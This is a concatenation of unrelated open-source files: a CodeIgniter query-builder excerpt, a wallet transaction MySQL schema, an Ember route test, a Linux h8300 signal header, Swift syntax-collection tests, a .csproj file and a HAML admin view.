$this->display_error('db_batch_missing_index'); } $this->qb_set[] = $clean; } return $this; } // -------------------------------------------------------------------- /** * Empty Table * * Compiles a delete string and runs "DELETE FROM table" * * @param string the table to empty * @return bool TRUE on success, FALSE on failure */ public function empty_table($table = '') { if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } $sql = $this->_delete($table); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Truncate * * Compiles a truncate string and runs the query * If the database does not support the truncate() command * This function maps to "DELETE FROM table" * * @param string the table to truncate * @return bool TRUE on success, FALSE on failure */ public function truncate($table = '') { if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } $sql = $this->_truncate($table); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the truncate() command, * then this method maps to 'DELETE FROM table' * * @param string the table name * @return string */ protected function _truncate($table) { return 'TRUNCATE '.$table; } // -------------------------------------------------------------------- /** * Get DELETE query string * * Compiles a delete query string and returns the sql * * @param string the table to delete from * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_delete($table = '', $reset = TRUE) { $this->return_delete_sql = TRUE; $sql = $this->delete($table, '', NULL, $reset); $this->return_delete_sql = FALSE; return $sql; } // -------------------------------------------------------------------- /** * Delete * * Compiles a delete string and runs the query * * @param mixed the table(s) to delete from. String or array * @param mixed the where clause * @param mixed the limit clause * @param bool * @return mixed */ public function delete($table = '', $where = '', $limit = NULL, $reset_data = TRUE) { // Combine any cached components with the current statements $this->_merge_cache(); if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } elseif (is_array($table)) { empty($where) && $reset_data = FALSE; foreach ($table as $single_table) { $this->delete($single_table, $where, $limit, $reset_data); } return; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } if ($where !== '') { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit); } if (count($this->qb_where) === 0) { return ($this->db_debug) ? $this->display_error('db_del_must_use_where') : FALSE; } $sql = $this->_delete($table); if ($reset_data) { $this->_reset_write(); } return ($this->return_delete_sql === TRUE) ? $sql : $this->query($sql); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string the table name * @return string */ protected function _delete($table) { return 'DELETE FROM '.$table.$this->_compile_wh('qb_where') .($this->qb_limit ? ' LIMIT '.$this->qb_limit : ''); } // -------------------------------------------------------------------- /** * DB Prefix * * Prepends a database prefix if one exists in configuration * * @param string the table * @return string */ public function dbprefix($table = '') { if ($table === '') { $this->display_error('db_table_name_required'); } return $this->dbprefix.$table; } // -------------------------------------------------------------------- /** * Set DB Prefix * * Set's the DB Prefix to something new without needing to reconnect * * @param string the prefix * @return string */ public function set_dbprefix($prefix = '') { return $this->dbprefix = $prefix; } // -------------------------------------------------------------------- /** * Track Aliases * * Used to track SQL statements written with aliased tables. * * @param string The table to inspect * @return string */ protected function _track_aliases($table) { if (is_array($table)) { foreach ($table as $t) { $this->_track_aliases($t); } return; } // Does the string contain a comma? If so, we need to separate // the string into discreet statements if (strpos($table, ',') !== FALSE) { return $this->_track_aliases(explode(',', $table)); } // if a table alias is used we can recognize it by a space if (strpos($table, ' ') !== FALSE) { // if the alias is written with the AS keyword, remove it $table = preg_replace('/\s+AS\s+/i', ' ', $table); // Grab the alias $table = trim(strrchr($table, ' ')); // Store the alias, if it doesn't already exist if ( ! in_array($table, $this->qb_aliased_tables)) { $this->qb_aliased_tables[] = $table; } } } // -------------------------------------------------------------------- /** * Compile the SELECT statement * * Generates a query string based on which functions were used. * Should not be called directly. * * @param bool $select_override * @return string */ protected function _compile_select($select_override = FALSE) { // Combine any cached components with the current statements $this->_merge_cache(); // Write the "select" portion of the query if ($select_override !== FALSE) { $sql = $select_override; } else { $sql = ( ! $this->qb_distinct) ? 'SELECT ' : 'SELECT DISTINCT '; if (count($this->qb_select) === 0) { $sql .= '*'; } else { // Cycle through the "select" portion of the query and prep each column name. // The reason we protect identifiers here rather than in the select() function // is because until the user calls the from() function we don't know if there are aliases foreach ($this->qb_select as $key => $val) { $no_escape = isset($this->qb_no_escape[$key]) ? $this->qb_no_escape[$key] : NULL; $this->qb_select[$key] = $this->protect_identifiers($val, FALSE, $no_escape); } $sql .= implode(', ', $this->qb_select); } } // Write the "FROM" portion of the query if (count($this->qb_from) > 0) { $sql .= "\nFROM ".$this->_from_tables(); } // Write the "JOIN" portion of the query if (count($this->qb_join) > 0) { $sql .= "\n".implode("\n", $this->qb_join); } $sql .= $this->_compile_wh('qb_where') .$this->_compile_group_by() .$this->_compile_wh('qb_having') .$this->_compile_order_by(); // ORDER BY // LIMIT if ($this->qb_limit OR $this->qb_offset) { return $this->_limit($sql."\n"); } return $sql; } // -------------------------------------------------------------------- /** * Compile WHERE, HAVING statements * * Escapes identifiers in WHERE and HAVING statements at execution time. * * Required so that aliases are tracked properly, regardless of whether * where(), or_where(), having(), or_having are called prior to from(), * join() and dbprefix is added only if needed. * * @param string $qb_key 'qb_where' or 'qb_having' * @return string SQL statement */ protected function _compile_wh($qb_key) { if (count($this->$qb_key) > 0) { for ($i = 0, $c = count($this->$qb_key); $i < $c; $i++) { // Is this condition already compiled? if (is_string($this->{$qb_key}[$i])) { continue; } elseif ($this->{$qb_key}[$i]['escape'] === FALSE) { $this->{$qb_key}[$i] = $this->{$qb_key}[$i]['condition']; continue; } // Split multiple conditions $conditions = preg_split( '/((?:^|\s+)AND\s+|(?:^|\s+)OR\s+)/i', $this->{$qb_key}[$i]['condition'], -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); for ($ci = 0, $cc = count($conditions); $ci < $cc; $ci++) { if (($op = $this->_get_operator($conditions[$ci])) === FALSE OR ! preg_match('/^(\(?)(.*)('.preg_quote($op, '/').')\s*(.*(?<!\)))?(\)?)$/i', $conditions[$ci], $matches)) { continue; } // $matches = array( // 0 => '(test <= foo)', /* the whole thing */ // 1 => '(', /* optional */ // 2 => 'test', /* the field name */ // 3 => ' <= ', /* $op */ // 4 => 'foo', /* optional, if $op is e.g. 'IS NULL' */ // 5 => ')' /* optional */ // ); if ( ! empty($matches[4])) { $this->_is_literal($matches[4]) OR $matches[4] = $this->protect_identifiers(trim($matches[4])); $matches[4] = ' '.$matches[4]; } $conditions[$ci] = $matches[1].$this->protect_identifiers(trim($matches[2])) .' '.trim($matches[3]).$matches[4].$matches[5]; } $this->{$qb_key}[$i] = implode('', $conditions); } return ($qb_key === 'qb_having' ? "\nHAVING " : "\nWHERE ") .implode("\n", $this->$qb_key); } return ''; } // -------------------------------------------------------------------- /** * Compile GROUP BY * * Escapes identifiers in GROUP BY statements at execution time. * * Required so that aliases are tracked properly, regardless of wether * group_by() is called prior to from(), join() and dbprefix is added * only if needed. * * @return string SQL statement */ protected function _compile_group_by() { if (count($this->qb_groupby) > 0) { for ($i = 0, $c = count($this->qb_groupby); $i < $c; $i++) { // Is it already compiled? if (is_string($this->qb_groupby[$i])) { continue; } $this->qb_groupby[$i] = ($this->qb_groupby[$i]['escape'] === FALSE OR $this->_is_literal($this->qb_groupby[$i]['field'])) ? $this->qb_groupby[$i]['field'] : $this->protect_identifiers($this->qb_groupby[$i]['field']); } return "\nGROUP BY ".implode(', ', $this->qb_groupby); } return ''; } // -------------------------------------------------------------------- /** * Compile ORDER BY * * Escapes identifiers in ORDER BY statements at execution time. * * Required so that aliases are tracked properly, regardless of wether * order_by() is called prior to from(), join() and dbprefix is added * only if needed. * * @return string SQL statement */ protected function _compile_order_by() { if (is_array($this->qb_orderby) && count($this->qb_orderby) > 0) { for ($i = 0, $c = count($this->qb_orderby); $i < $c; $i++) { if ($this->qb_orderby[$i]['escape'] !== FALSE && ! $this->_is_literal($this->qb_orderby[$i]['field'])) { $this->qb_orderby[$i]['field'] = $this->protect_identifiers($this->qb_orderby[$i]['field']); } $this->qb_orderby[$i] = $this->qb_orderby[$i]['field'].$this->qb_orderby[$i]['direction']; } return $this->qb_orderby = "\nORDER BY ".implode(', ', $this->qb_orderby); } elseif (is_string($this->qb_orderby)) { return $this->qb_orderby; } return ''; } // -------------------------------------------------------------------- /** * Object to Array * * Takes an object as input and converts the class variables to array key/vals * * @param object * @return array */ protected function _object_to_array($object) { if ( ! is_object($object)) { return $object; } $array = array(); foreach (get_object_vars($object) as $key => $val) { // There are some built in keys we need to ignore for this conversion if ( ! is_object($val) && ! is_array($val) && $key !== '_parent_name') { $array[$key] = $val; } } return $array; } // -------------------------------------------------------------------- /** * Object to Array * * Takes an object as input and converts the class variables to array key/vals * * @param object * @return array */ protected function _object_to_array_batch($object) { if ( ! is_object($object)) { return $object; } $array = array(); $out = get_object_vars($object); $fields = array_keys($out); foreach ($fields as $val) { // There are some built in keys we need to ignore for this conversion if ($val !== '_parent_name') { $i = 0; foreach ($out[$val] as $data) { $array[$i++][$val] = $data; } } } return $array; } // -------------------------------------------------------------------- /** * Start Cache * * Starts QB caching * * @return CI_DB_query_builder */ public function start_cache() { $this->qb_caching = TRUE; return $this; } // -------------------------------------------------------------------- /** * Stop Cache * * Stops QB caching * * @return CI_DB_query_builder */ public function stop_cache() { $this->qb_caching = FALSE; return $this; } // -------------------------------------------------------------------- /** * Flush Cache * * Empties the QB cache * * @return CI_DB_query_builder */ public function flush_cache() { $this->_reset_run(array( 'qb_cache_select' => array(), 'qb_cache_from' => array(), 'qb_cache_join' => array(), 'qb_cache_where' => array(), 'qb_cache_groupby' => array(), 'qb_cache_having' => array(), 'qb_cache_orderby' => array(), 'qb_cache_set' => array(), 'qb_cache_exists' => array(), 'qb_cache_no_escape' => array() )); return $this; } // -------------------------------------------------------------------- /** * Merge Cache * * When called, this function merges any cached QB arrays with * locally called ones. * * @return void */ protected function _merge_cache() { if (count($this->qb_cache_exists) === 0) { return; } elseif (in_array('select', $this->qb_cache_exists, TRUE)) { $qb_no_escape = $this->qb_cache_no_escape; } foreach (array_unique($this->qb_cache_exists) as $val) // select, from, etc. { $qb_variable = 'qb_'.$val; $qb_cache_var = 'qb_cache_'.$val; $qb_new = $this->$qb_cache_var; for ($i = 0, $c = count($this->$qb_variable); $i < $c; $i++) { if ( ! in_array($this->{$qb_variable}[$i], $qb_new, TRUE)) { $qb_new[] = $this->{$qb_variable}[$i]; if ($val === 'select') { $qb_no_escape[] = $this->qb_no_escape[$i]; } } } $this->$qb_variable = $qb_new; if ($val === 'select') { $this->qb_no_escape = $qb_no_escape; } } // If we are "protecting identifiers" we need to examine the "from" // portion of the query to determine if there are any aliases if ($this->_protect_identifiers === TRUE && count($this->qb_cache_from) > 0) { $this->_track_aliases($this->qb_from); } } // -------------------------------------------------------------------- /** * Is literal * * Determines if a string represents a literal value or a field name * * @param string $str * @return bool */ protected function _is_literal($str) { $str = trim($str); if (empty($str) OR ctype_digit($str) OR (string) (float) $str === $str OR in_array(strtoupper($str), array('TRUE', 'FALSE'), TRUE)) { return TRUE; } static $_str; if (empty($_str)) { $_str = ($this->_escape_char !== '"') ? array('"', "'") : array("'"); } return in_array($str[0], $_str, TRUE); } // -------------------------------------------------------------------- /** * Reset Query Builder values. * * Publicly-visible method to reset the QB values. * * @return CI_DB_query_builder */ public function reset_query() { $this->_reset_select(); $this->_reset_write(); return $this; } // -------------------------------------------------------------------- /** * Resets the query builder values. Called by the get() function * * @param array An array of fields to reset * @return void */ protected function _reset_run($qb_reset_items) { foreach ($qb_reset_items as $item => $default_value) { $this->$item = $default_value; } } // -------------------------------------------------------------------- /** * Resets the query builder values. Called by the get() function * * @return void */ protected function _reset_select() { $this->_reset_run(array( 'qb_select' => array(), 'qb_from' => array(), 'qb_join' => array(), 'qb_where' => array(), 'qb_groupby' => array(), 'qb_having' => array(), 'qb_orderby' => array(), 'qb_aliased_tables' => array(), 'qb_no_escape' => array(), 'qb_distinct' => FALSE, 'qb_limit' => FALSE, 'qb_offset' => FALSE )); } // -------------------------------------------------------------------- /** * Resets the query builder "write" values. * * Called by the insert() update() insert_batch() update_batch() and delete() functions * * @return void */ protected function _reset_write() { $this->_reset_run(array( 'qb_set' => array(), 'qb_from' => array(), 'qb_join' => array(), 'qb_where' => array(), 'qb_orderby' => array(), 'qb_keys' => array(), 'qb_limit' => FALSE )); } }
{ "pile_set_name": "Github" }
CREATE DATABASE `wallet` ; USE `wallet`; CREATE TABLE `wallet` ( `user_id` int(11) NOT NULL, `total_amount` bigint(20) NOT NULL, `freeze_amount` bigint(20) NOT NULL, PRIMARY KEY (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; INSERT INTO `wallet`.`wallet` (`user_id`, `total_amount`, `freeze_amount`) VALUES ('1', '10000000', '0'); -- 用于记录业务发起方的最终业务有没有执行 -- p_开头的,代表本事务对应的父事务id -- select for update查询时,若事务ID对应的记录不存在则事务一定失败了 -- 记录存在,但status为0表示事务成功,为1表示事务失败(包含父事务和本事务) -- 记录存在,但status为2表示本方法存在父事务,且父事务的最终状态未知 -- 父事务的状态将由发起方通过 优先同步告知 失败则 消息形式告知 CREATE TABLE `executed_trans` ( `app_id` smallint(5) unsigned NOT NULL, `bus_code` smallint(5) unsigned NOT NULL, `trx_id` bigint(20) unsigned NOT NULL, `p_app_id` smallint(5) unsigned DEFAULT NULL, `p_bus_code` smallint(5) unsigned DEFAULT NULL, `p_trx_id` bigint(20) unsigned DEFAULT NULL, `status` tinyint(1) NOT NULL, PRIMARY KEY (`app_id`,`bus_code`,`trx_id`), KEY `parent` (`p_app_id`,`p_bus_code`,`p_trx_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; CREATE TABLE `idempotent` ( `src_app_id` smallint(5) unsigned NOT NULL COMMENT '来源AppID', `src_bus_code` smallint(5) unsigned NOT NULL COMMENT '来源业务类型', `src_trx_id` bigint(20) unsigned NOT NULL COMMENT '来源交易ID', `app_id` smallint(5) NOT NULL COMMENT '调用APPID', `bus_code` smallint(5) NOT NULL COMMENT '调用的业务代码', `call_seq` smallint(5) NOT NULL COMMENT '同一事务同一方法内调用的次数', `handler` smallint(5) NOT NULL COMMENT '处理者appid', `called_methods` varchar(64) NOT NULL COMMENT '被调用过的方法名', `md5` binary(16) NOT NULL COMMENT '参数摘要', `sync_method_result` blob COMMENT '同步方法的返回结果', `create_time` datetime NOT NULL COMMENT '执行时间', `update_time` datetime NOT NULL, `lock_version` smallint(32) NOT NULL COMMENT '乐观锁版本号', PRIMARY KEY (`src_app_id`,`src_bus_code`,`src_trx_id`,`app_id`,`bus_code`,`call_seq`,`handler`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE DATABASE `wallet_translog` ; USE `wallet_translog`; CREATE TABLE `trans_log_detail` ( `log_detail_id` int(11) NOT NULL AUTO_INCREMENT, `trans_log_id` binary(12) NOT NULL, `log_detail` blob, `create_time` datetime NOT NULL, PRIMARY KEY (`log_detail_id`), KEY `app_id` (`trans_log_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; CREATE TABLE `trans_log_unfinished` ( `trans_log_id` binary(12) NOT NULL, `create_time` datetime NOT NULL, PRIMARY KEY (`trans_log_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; SELECT * FROM translog.trans_log_detail;
{ "pile_set_name": "Github" }
(function() { var x = function fun(a, fun, b) { return fun; }; }());
{ "pile_set_name": "Github" }
import { moduleFor, test } from 'ember-qunit'; moduleFor('route:project/tasks/task', 'Unit | Route | project/tasks/task', { needs: [ 'service:current-user', 'service:metrics', 'service:router-scroll', 'service:scheduler', 'service:task-skills-list' ] }); test('it exists', function(assert) { let route = this.subject({ // The store cannot be added as a dependency through `needs` in unit tests, // so we inject it this way. store: {} }); assert.ok(route); });
{ "pile_set_name": "Github" }
#ifndef _H8300_SIGNAL_H #define _H8300_SIGNAL_H #include <linux/types.h> /* Avoid too many header ordering problems. */ struct siginfo; #ifdef __KERNEL__ /* Most things should be clean enough to redefine this at will, if care is taken to make libc match. */ #define _NSIG 64 #define _NSIG_BPW 32 #define _NSIG_WORDS (_NSIG / _NSIG_BPW) typedef unsigned long old_sigset_t; /* at least 32 bits */ typedef struct { unsigned long sig[_NSIG_WORDS]; } sigset_t; #else /* Here we must cater to libcs that poke about in kernel headers. */ #define NSIG 32 typedef unsigned long sigset_t; #endif /* __KERNEL__ */ #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGBUS 7 #define SIGFPE 8 #define SIGKILL 9 #define SIGUSR1 10 #define SIGSEGV 11 #define SIGUSR2 12 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPOLL SIGIO /* #define SIGLOST 29 */ #define SIGPWR 30 #define SIGSYS 31 #define SIGUNUSED 31 /* These should not be considered constants from userland. */ #define SIGRTMIN 32 #define SIGRTMAX _NSIG /* * SA_FLAGS values: * * SA_ONSTACK indicates that a registered stack_t will be used. * SA_RESTART flag to get restarting signals (which were the default long ago) * SA_NOCLDSTOP flag to turn off SIGCHLD when children stop. * SA_RESETHAND clears the handler when the signal is delivered. * SA_NOCLDWAIT flag on SIGCHLD to inhibit zombies. * SA_NODEFER prevents the current signal from being masked in the handler. * * SA_ONESHOT and SA_NOMASK are the historical Linux names for the Single * Unix names RESETHAND and NODEFER respectively. */ #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 /* not supported yet */ #define SA_SIGINFO 0x00000004 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK SA_NODEFER #define SA_ONESHOT SA_RESETHAND #define SA_RESTORER 0x04000000 /* * sigaltstack controls */ #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #include <asm-generic/signal-defs.h> #ifdef __KERNEL__ struct old_sigaction { __sighandler_t sa_handler; old_sigset_t sa_mask; unsigned long sa_flags; void (*sa_restorer)(void); }; struct sigaction { __sighandler_t sa_handler; unsigned long sa_flags; void (*sa_restorer)(void); sigset_t sa_mask; /* mask last for extensibility */ }; struct k_sigaction { struct sigaction sa; }; #else /* Here we must cater to libcs that poke about in kernel headers. */ struct sigaction { union { __sighandler_t _sa_handler; void (*_sa_sigaction)(int, struct siginfo *, void *); } _u; sigset_t sa_mask; unsigned long sa_flags; void (*sa_restorer)(void); }; #define sa_handler _u._sa_handler #define sa_sigaction _u._sa_sigaction #endif /* __KERNEL__ */ typedef struct sigaltstack { void *ss_sp; int ss_flags; size_t ss_size; } stack_t; #ifdef __KERNEL__ #include <asm/sigcontext.h> #undef __HAVE_ARCH_SIG_BITOPS #define ptrace_signal_deliver(regs, cookie) do { } while (0) #endif /* __KERNEL__ */ #endif /* _H8300_SIGNAL_H */
{ "pile_set_name": "Github" }
#include "swift/Syntax/ExprSyntax.h" #include "swift/Syntax/SyntaxFactory.h" #include "llvm/ADT/SmallString.h" #include "gtest/gtest.h" using llvm::None; using llvm::SmallString; using namespace swift; using namespace swift::syntax; FunctionCallArgumentSyntax getCannedArgument() { auto X = SyntaxFactory::makeIdentifier("x", {}, {}); auto Foo = SyntaxFactory::makeIdentifier("foo", {}, {}); auto Colon = SyntaxFactory::makeColonToken({}, Trivia::spaces(1)); auto SymbolicRef = SyntaxFactory::makeSymbolicReferenceExpr(Foo, llvm::None); auto Comma = SyntaxFactory::makeCommaToken({}, Trivia::spaces(1)); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); return SyntaxFactory::makeFunctionCallArgument(X, Colon, SymbolicRef, Comma); } TEST(SyntaxCollectionTests, empty) { auto Empty = SyntaxFactory::makeBlankFunctionCallArgumentList(); ASSERT_TRUE(Empty.empty()); ASSERT_FALSE(Empty.appending(getCannedArgument()).empty()); } TEST(SyntaxCollectionTests, size) { auto Empty = SyntaxFactory::makeBlankFunctionCallArgumentList(); ASSERT_EQ(Empty.size(), size_t(0)); ASSERT_EQ(Empty.appending(getCannedArgument()).size(), size_t(1)); } TEST(SyntaxCollectionTests, subscript) { auto Empty = SyntaxFactory::makeBlankFunctionCallArgumentList(); #ifndef NDEBUG ASSERT_DEATH({ Empty[0]; }, ""); #endif SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); auto Arg = getCannedArgument(); Arg.print(OS); auto List = Empty.appending(Arg); SmallString<48> GottenScratch; llvm::raw_svector_ostream GottenOS(Scratch); List[0].print(GottenOS); ASSERT_EQ(OS.str().str(), GottenOS.str().str()); auto GottenArg1 = List[0]; auto GottenArg2 = List[0]; ASSERT_TRUE(GottenArg1.hasSameIdentityAs(GottenArg2)); } TEST(SyntaxCollectionTests, appending) { auto Arg = getCannedArgument(); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .appending(Arg.withTrailingComma(NoComma)); ASSERT_EQ(List.size(), size_t(3)); SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); List.print(OS); ASSERT_EQ(OS.str().str(), "x: foo, x: foo, x: foo"); auto GottenArg0_1 = List[0]; auto GottenArg0_2 = List[0]; ASSERT_TRUE(GottenArg0_1.hasSameIdentityAs(GottenArg0_2)); auto GottenArg1_1 = List[1]; auto GottenArg1_2 = List[1]; ASSERT_TRUE(GottenArg1_1.hasSameIdentityAs(GottenArg1_2)); auto GottenArg2_1 = List[2]; auto GottenArg2_2 = List[2]; ASSERT_TRUE(GottenArg2_1.hasSameIdentityAs(GottenArg2_2)); } TEST(SyntaxCollectionTests, removingLast) { ASSERT_DEATH({ SyntaxFactory::makeBlankFunctionCallArgumentList().removingLast(); }, ""); auto Arg = getCannedArgument(); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .appending(Arg.withTrailingComma(NoComma)) .removingLast(); SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); List.print(OS); ASSERT_EQ(OS.str().str(), "x: foo, x: foo, "); } TEST(SyntaxCollectionTests, prepending) { auto Arg = getCannedArgument(); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .prepending(Arg.withTrailingComma(NoComma)) .prepending(Arg .withLabel(SyntaxFactory::makeIdentifier("schwifty", {}, {}))) .prepending(Arg); ASSERT_EQ(List.size(), size_t(3)); SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); List.print(OS); ASSERT_EQ(OS.str().str(), "x: foo, schwifty: foo, x: foo"); auto GottenArg0_1 = List[0]; auto GottenArg0_2 = List[0]; ASSERT_TRUE(GottenArg0_1.hasSameIdentityAs(GottenArg0_2)); auto GottenArg1_1 = List[1]; auto GottenArg1_2 = List[1]; ASSERT_TRUE(GottenArg1_1.hasSameIdentityAs(GottenArg1_2)); auto GottenArg2_1 = List[2]; auto GottenArg2_2 = List[2]; ASSERT_TRUE(GottenArg2_1.hasSameIdentityAs(GottenArg2_2)); } TEST(SyntaxCollectionTests, removingFirst) { ASSERT_DEATH({ SyntaxFactory::makeBlankFunctionCallArgumentList().removingFirst(); }, ""); auto Arg = getCannedArgument(); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg .withLabel(SyntaxFactory::makeIdentifier("schwifty", {}, {}))) .appending(Arg) .appending(Arg.withTrailingComma(NoComma)) .removingFirst(); SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); List.print(OS); ASSERT_EQ(OS.str().str(), "x: foo, x: foo"); } TEST(SyntaxCollectionTests, inserting) { auto Arg = getCannedArgument(); auto NoComma = TokenSyntax::missingToken(tok::comma, ","); #ifndef NDEBUG ASSERT_DEATH({ SyntaxFactory::makeBlankFunctionCallArgumentList().inserting(1, Arg); }, ""); #endif { SmallString<48> InsertedScratch; llvm::raw_svector_ostream InsertedOS(InsertedScratch); SyntaxFactory::makeBlankFunctionCallArgumentList() .inserting(0, Arg) .inserting(0, Arg) .inserting(0, Arg) .print(InsertedOS); SmallString<48> PrependedScratch; llvm::raw_svector_ostream PrependedOS(PrependedScratch); SyntaxFactory::makeBlankFunctionCallArgumentList() .prepending(Arg) .prepending(Arg) .prepending(Arg) .print(PrependedOS); ASSERT_EQ(InsertedOS.str().str(), PrependedOS.str().str()); } { SmallString<48> InsertedScratch; llvm::raw_svector_ostream InsertedOS(InsertedScratch); SyntaxFactory::makeBlankFunctionCallArgumentList() .inserting(0, Arg) .inserting(1, Arg) .inserting(2, Arg) .print(InsertedOS); SmallString<48> AppendedScratch; llvm::raw_svector_ostream AppendedOS(AppendedScratch); SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .appending(Arg) .print(AppendedOS); ASSERT_EQ(InsertedOS.str().str(), AppendedOS.str().str()); } { SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .inserting(1, Arg.withLabel(SyntaxFactory::makeIdentifier("schwifty", {}, {}))) .print(OS); ASSERT_EQ(OS.str().str(), "x: foo, schwifty: foo, x: foo, "); } } TEST(SyntaxCollectionTests, cleared) { auto Arg = getCannedArgument(); SmallString<1> Scratch; llvm::raw_svector_ostream OS(Scratch); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .appending(Arg) .cleared(); List.print(OS); ASSERT_EQ(OS.str().str(), ""); ASSERT_TRUE(List.empty()); ASSERT_EQ(List.size(), size_t(0)); } TEST(SyntaxCollectionTests, Iteration) { auto Arg = getCannedArgument(); auto List = SyntaxFactory::makeBlankFunctionCallArgumentList() .appending(Arg) .appending(Arg) .appending(Arg); auto Element0 = List[0]; auto Element1 = List[1]; auto Element2 = List[2]; SmallString<48> IteratedScratch; llvm::raw_svector_ostream IteratedOS(IteratedScratch); for (auto Element : List) { Element.print(IteratedOS); } ASSERT_EQ(IteratedOS.str().str(), "x: foo, x: foo, x: foo, "); auto IteratedElement0 = List[0]; auto IteratedElement1 = List[1]; auto IteratedElement2 = List[2]; ASSERT_TRUE(Element0.hasSameIdentityAs(IteratedElement0)); ASSERT_TRUE(Element1.hasSameIdentityAs(IteratedElement1)); ASSERT_TRUE(Element2.hasSameIdentityAs(IteratedElement2)); SmallString<48> Scratch; llvm::raw_svector_ostream OS(Scratch); List.print(OS); ASSERT_EQ(OS.str().str(), IteratedOS.str().str()); }
{ "pile_set_name": "Github" }
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <AssemblyName>Opc.Ua.Configuration</AssemblyName> <TargetFrameworks>$(LibTargetFrameworks)</TargetFrameworks> <LangVersion>6</LangVersion> <PackageId>Opc.Ua.Configuration</PackageId> <RootNamespace>Opc.Ua.Configuration</RootNamespace> <Description>OPC UA Configuration Class Library</Description> </PropertyGroup> <ItemGroup> <ProjectReference Include="..\..\Stack\Opc.Ua.Core\Opc.Ua.Core.csproj" /> </ItemGroup> <ItemGroup> <Folder Include="Properties\" /> </ItemGroup> <ItemGroup Condition="'$(TargetFramework)' == 'net462'"> <Reference Include="System.IdentityModel" /> </ItemGroup> <Target Name="GetPackagingOutputs" /> </Project>
{ "pile_set_name": "Github" }
= link_to edit_admin_category_path(category), :class => "category-action-edit", :id => "edit_category_#{category.id}" do = icon_tag("edit", ["icon-fix"]) - remove_html_opts = { class: "category-action-remove", id: "remove_category_#{category.id}" } - if !category.can_destroy? = icon_tag("cross", ["icon-fix disabled"]) - elsif category.remove_needs_caution? = link_to remove_admin_category_path(category), remove_html_opts do = icon_tag("cross", ["icon-fix"]) - else = link_to admin_category_path(category), remove_html_opts.merge(:method => :delete, data: {:confirm => t("admin.categories.index.remove_category_confirmation", {category_name: category.display_name(I18n.locale)})}) do = icon_tag("cross", ["icon-fix"]) - sort_disabled_class = category_count == 1 ? "disabled" : "" = link_to '#', :class => "category-action-up admin-sort-button #{sort_disabled_class}", :tabindex => "-1" do = icon_tag("directup", ["icon-fix"]) = link_to '#', :class => "category-action-down admin-sort-button #{sort_disabled_class}", :tabindex => "-1" do = icon_tag("directdown", ["icon-fix"])
{ "pile_set_name": "Github" }
